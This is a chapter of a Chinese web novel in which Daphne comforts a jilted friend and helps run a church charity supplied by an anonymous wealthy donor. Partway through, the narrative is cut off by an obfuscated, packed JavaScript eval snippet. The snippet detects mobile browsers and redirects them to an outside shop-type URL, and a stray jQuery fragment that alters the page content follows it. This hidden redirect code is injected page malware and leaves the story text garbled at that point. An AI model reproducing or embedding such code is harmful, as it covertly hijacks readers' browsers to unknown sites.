42. 慷慨

作品:《再看我就报警了

    “你是说——”黛芙妮张嘴好几次才发出不可置信的声音,“他要结婚了?”


    贝拉支起上身,黛芙妮在她身后塞了几个枕头。


    “和一个木匠的女儿,我知道她,她爸爸也在河边市集做生意。”贝拉说。


    黛芙妮忍不住去抱她:“我不知道该说些什么,只是想让你清楚我会在你想要我的时候一直陪伴你。”


    贝拉回抱她,那抽泣声细微的几乎听不见,好一会儿她才吸吸鼻子松开黛芙妮。


    “我家人都不知道这件事,我绝对不能说。”贝拉说。


    “我明白。”黛芙妮握紧她的潮湿的双手,“你需要我做什么吗?见他一面?”


    “不,我没有这样想过,我和他甚至从来没有说开过,太羞耻了。”贝拉摇头,“我只是觉得有点——太猝不及防了。”


    “一个月都没有他就要结婚了,你说得对太仓促了。”黛芙妮说。


    贝拉用手背轻轻按压脸上的泪痕,说话还带着浓浓的鼻音:“我长大了,我可以更好地面对每一次挫折。”


    “你比从前更加强大,我永远也比不了你。”黛芙妮笑了一下。


    “但是我不希望这样的事发生在你身上,麻木不过是疼痛的尽头。”贝拉说。


    咚咚咚,克洛伊端着小托盘进来。


    “贝拉,你需要喝药了。”她说着去拉开一点窗户。


    处理过的柳树皮磨成粉被加入啤酒中摇晃均匀,它顺着贝拉的喉咙抵达胃部。


    克洛伊坐在床的另一边看了眼门口说:“妈妈说你起码要喝一礼拜的药,但我想你那么坚强三天就够了。”


    贝拉靠在枕头上,眉目复杂:“差不多了。”


    黛芙妮偷偷看向克洛伊,原来她也知道了。


    贝拉却对她摇摇头。


    那就是猜到一点了。


    “我已经十八岁了,黛芙妮只比我大一岁,”克洛伊有点不高兴,然后看向黛芙妮,“但是我敢保证你绝对没有我了解。”


    黛芙妮习惯性地用微笑来回应。


    “你们要相信,女人在某种方面有着超乎寻常的直觉。”克洛伊眯起眼睛,“贝拉的失恋,黛芙妮的高傲。”


    “高傲?我?”黛芙妮惊讶,“我没有!”


    “我是说在面对男性的时候,尤其是追求者。”克洛伊说。


    黛芙妮断断续续地笑出声,她觉得有点荒诞和无措:“克洛伊我保证我没有,我从不傲慢地对待他人,而且我也没有追求者。”


    “好吧。”


    克洛伊看了她两秒也不争辩,反倒把黛芙妮的心态搞得不上不下得有些郁闷。


    贝拉突然笑出声,首先对克洛伊说:“亲爱的妹妹,我绝对没有故意不告诉你,我不说是因为这不是一件——很光彩的事。但我没想到这样的举措会伤害到你,我很抱歉。”


    “过去的事就不要再说了。”克洛伊勾起嘴角。


    “黛芙妮,请你原谅刚刚克洛伊对你的评价,她不是在贬低你。”贝拉又对黛芙妮说。


    “过去的事就不要再说了。”黛芙妮抬起下巴,故意高傲地说。


    三人对视一眼,同时笑起来。


    在亨斯通家坐了一下午黛芙妮才返回一百零八号。


    狄默奇太太坐在沙发上,面前摆了一个编织筐,见她回来了问:“贝拉还好吗?”


    “没有什么问题,只是有些感冒。”黛芙妮脱下手套走过来说,“为什么把这些东西放在这里?”


    筐里是一些针线、桌垫、杯子等。


    “这些东西都是家里已经用不到的,我想攒起来到时候给有需要的人。”狄默奇太太说。


    卡丽哼哧哼哧地从地下室抱了一个大箱子上来。


    她把东西放在桌子上,喘着大气:“这些是用不着的厨房用品。”


    黛芙妮拿出一套刚搬来时临时买的白蜡木餐具、一口外观被撞得凹进去的铜制水壶、一个土豆蒸锅还有两个保温盘。


    “只有这些了。”卡丽叉腰。


    “我更惊讶的是这么快就有需要被淘汰的东西吗?”黛芙妮把东西放回去说。


    半个月后她们收到了奥尔斯顿牧师递来的消息,他结合大多数人的意见决定再办一次慈善活动。


    这一次时隔太接近了,狄默奇一家也没有多余可以支配的钱来做面包,所以半个月攒下来的生活用品帮上了忙。


    狄默奇先生前一天还从出版社抱回了两箱废弃报纸和一小箱装订边角料。


    前者对于穷苦人家来说是糊墙纸和包装材料的绝佳的工具,后者可以被用来修补衣服或做简易鞋履。


    这些东西稍微有点闲钱的人都不屑用认为有失身份,对穷人来说却很难得到,因为一般出版社附近的垃圾桶都有人定点划块的驻扎,没点实力还抢不到。


    就在她们清点完打算再次分两批走的时候,一辆货车停在一百零八号边上。


    车夫从上面下来,直直走向疑惑的狄默奇太太和黛芙妮。


    “太太,小姐。我按照路威尔顿先生的要求运来了几箱混纺棉布用于今天的慈善活动。”那个人说。


    这下大家都惊讶得不行。


    “路威尔顿先生?”狄默奇太太再三确定,“康斯坦丁·路威尔顿先生?”


    “是的。”车夫说,“路威尔顿先生有一个要求,希望太太和小姐不要把他的名字说出去。”


    黛芙妮都不知道怎么表达这份惊喜,明明对方不是教徒却一而再地帮助教堂,这份心善完全不知道要怎样感谢的好。


    “实在是太感谢了,请一定要将我们这份感激之情转达给路威尔顿先生。”黛芙妮对那个车夫说。


    有了一辆大货车的帮助,狄默奇家凑起来的几个箱子也都放在了货车上,狄默奇太太和黛芙妮都上了自家的马车。


    “路威尔顿先生不仅慷慨大方还十分低调,不论是上次捐献的修建教堂的费用还是这次的慈善活动都足以证明他出色的人品。”狄默奇太太对他大为称赞。


    黛芙妮点头:“既然他不愿意将自己的名字公布,那我就私下为他祈祷,主一定会保佑他的。”


    “迈尔斯先生!”卡丽高喊一声将打算往另一个方向走的迈尔斯暴露在众人面前,“你上班的地方得往这边走,我瞧你一定是睡糊涂了。”


    “迈尔斯。”狄默奇太太叫他。


    迈尔斯折返过来:“姨妈,黛菲,你们在做什么?”


    “我们要去教堂。你得和我们一起去。”狄默奇太太说。


    “姨妈,我——”迈尔斯咧嘴,搓手。


    “迈尔斯,今天你必须得和我们一起去了,我们需要你的帮助。”黛芙妮温柔地说,“而且你也应该去和上帝打声招呼了。”


    迈尔斯只得双手一摊,笑得灿烂:“好的!”


    路威尔顿先生的混纺棉布遭到了在场人员的哄抢,场面不亚于一次战争。


    等结束的时候,黛芙妮和狄默奇太太都累得不行,这回是真的站不住了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738607|184350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迈尔斯一结束就走了说是有约,狄默奇太太郁闷地点头,黛芙妮心里不高兴不虔诚的人在她看来人品有待商榷。


    “狄默奇太太,黛芙妮,你们从哪里弄来了这么多混纺棉布?”艾乐高兴地问。


    “一位好心先生的捐赠,但是他不愿意透露姓名。”黛芙妮坐在教堂里的长椅上说。


    “我猜大概是一位有名望的绅士又或是一位有钱的寡居太太。”艾乐双手叠在椅背上猜测。


    “为什么不能是一位工厂主?”黛芙妮说,“毕竟捐的是棉布。”


    这话引得周围一圈人都在发笑。


    一位杂货摊的太太调侃:“黛芙妮,你居然也会开玩笑。”


    “你们总得给我一个理由吧,为什么不可能。”黛芙妮说。


    “因为他们都是恶狼,只有他们侵占别人的份从没有自己吃亏的事。”艾乐嗤笑,“尽管对于那些大厂主来说这些棉布不算什么就是丢掉也不会心疼,可一旦要给我们那他们可得叫唤到天上去。”


    “但是——”黛芙妮犹豫,“我亲眼看到的,路威尔顿先生他还捐了植物园的温室建筑,我是说他们也会做慈善。”


    “植物园是他们会去的地方我们不会去的地方。”一位工人太太说,“他们的慈善只会出现在他们的地盘上。”


    “对于他们来说慈善也是有阶级的。”卡彭特太太说。


    他们开始七嘴八舌地嘲讽批判工厂主,路威尔顿先生也无可避免。


    黛芙妮和狄默奇太太是知道真相的,但她们得了嘱托没资格公之于众,这会儿坐在这里听他们说路威尔顿先生浑身都难受起来了。


    于是找了个借口早早地离开。


    “他们之间的矛盾就是世界上最精巧的绣娘都无法缝补。”狄默奇太太说。


    七月,一年中最热的月份在迈尔斯一声声吹嘘中到来。


    他在歌剧院很受顾客的喜爱,常常能赚不少的小费。虽然狄默奇先生对于他自甘堕落的选择嗤之以鼻但也不会去说教,他选择了冷眼旁观。


    有时候黛芙妮想起克洛伊的那句话‘女人在某种方面总有超乎寻常的直觉’,不得不赞同她。


    因为她好像发现了一点迈尔斯的秘密就是不知道妈妈有没有那种直觉。


    迈尔斯好像有了情人,他变得更爱打理自己,衣服必须熨烫整齐领带要搭配服饰现在还学会了喷香水,甜言蜜语那更是张口就来,把一开始不习惯害羞尴尬的黛芙妮锤炼的麻木了。


    虽然她对迈尔斯的某些行为看不上眼但一想到康纳姨妈和姨父,正直友善的夫妇,这种印象时常在她有些不悦的时候跳出来。


    于是在面对又一次的迈尔斯自己都开始无法控制的甜言中回复他:“迈尔斯,你最近看起来很快乐,是有什么好事要和我们分享吗?”


    “你真聪明,我不得不承认你是对的。但是我想保持一点神秘感所以我亲爱的黛菲请你再耐心地等一等。”迈尔斯一手放在黛芙妮背后的沙发背上一手敲击着大腿。


    “你要结婚了?”黛芙妮眨巴眼睛。


    迈尔斯瞪大眼睛看着她笑出声:“噢,我亲爱的!结婚吗?好吧其实差不多。有一位小姐非常喜欢我,虽然我们还没有到谈婚论嫁的地步,但我相信只要我肯求婚她一定会答应。”


    “姨妈和姨父听到一定会喜极而泣的。”黛芙妮是真心地恭喜他。


    “那你会为我流下喜悦的泪水吗?”迈尔斯问。


    “当然!”黛芙妮不假思索地回答。